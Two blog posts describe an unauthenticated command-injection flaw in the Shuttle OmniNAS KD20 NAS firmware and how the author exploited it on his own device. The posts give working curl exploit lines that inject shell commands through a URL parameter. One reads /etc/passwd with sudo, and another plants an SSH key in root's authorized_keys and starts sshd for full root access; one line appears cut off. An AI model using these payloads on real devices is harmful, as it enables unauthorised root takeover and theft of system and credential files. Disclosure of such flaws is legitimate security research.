There's always time to play

Tuesday, February 17, 2015

Getting root SSH access on Shuttle OmniNAS KD20

In the previous post I detailed a security vulnerability in the firmware for the Shutte OmniNAS KD20. In an attempt to remedy Samba bug #10584 I was trying to get more direct access to my OmniNAS. I already tried to start sshd and telnetd, but with no real success (they were running, logging in was a problem though).

I wanted to get in without making too much changes, by putting a SSH public key on the share and pointing SSHD to it. But since that didn't work out I copied /etc/passwd to the disk share and cat-ed it back (using tee as well) with my user's shell set to /bin/ash. That allowed me to log in after starting sshd, but adding my account to /etc/sudoers was required to get to the next level of control.

Once I was in and with root permissions I was able to diagnose why my initial attempt didn't work. A simple sshd -p 8022 -d showed me that there was a permissions 'problem', because SSHD is secure by default and ignores authorized keys with write permissions for other users. An additional chmod fixed that as well, which brings me to the following two lines to accomplish root SSH access to the Shuttle OmniNAS KD20:

curl -F 'userfile=@.ssh/;' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload'

curl -F 'userfile=@/dev/null;filename=test.txt' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&p=%24('

In the above two lines the first line copies to the disk share, the second line copies it to /root/.ssh/authorized_keys, sets permissions that are acceptable for SSHD and starts sshd.

Now all you need to do is ssh root@192.168.x.x and you're in!

Happy hacking!

Sunday, February 15, 2015

Executing commands on Shuttle's Omninas KD20

Because the firmware on the Omninas KD20 is somewhat broken (see Samba bug #10584) I was trying to get access in an attempt to fix it. Fortunately some people figured there was easy access with old firmware and documented at nas-central how to decrypt the firmware, which applies to current firmware as well. Once I had rootfs.ubi mounted using nandsim I went looking for possible remote exploits and I found one in an external accessible page without password protection.

To make a long story short, this page will pass a GET variable right into an exec call without any verification. As a result, all you need to do is call curl with an url-encoded command as in the following example:

curl -F 'userfile=@/dev/null;filename="test.txt"' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&p=%24(sudo%20cat%20%2Fetc%2Fpasswd%20%3E%20%2Fshare%2Fatonnas%2Fdisk%2Ftest.passwd)'

The above command will put the contents of /etc/passwd in test.passwd in the default 'disk' share. And yes, as a bonus you also get an empty file called test.txt in the same folder!

Happy hacking!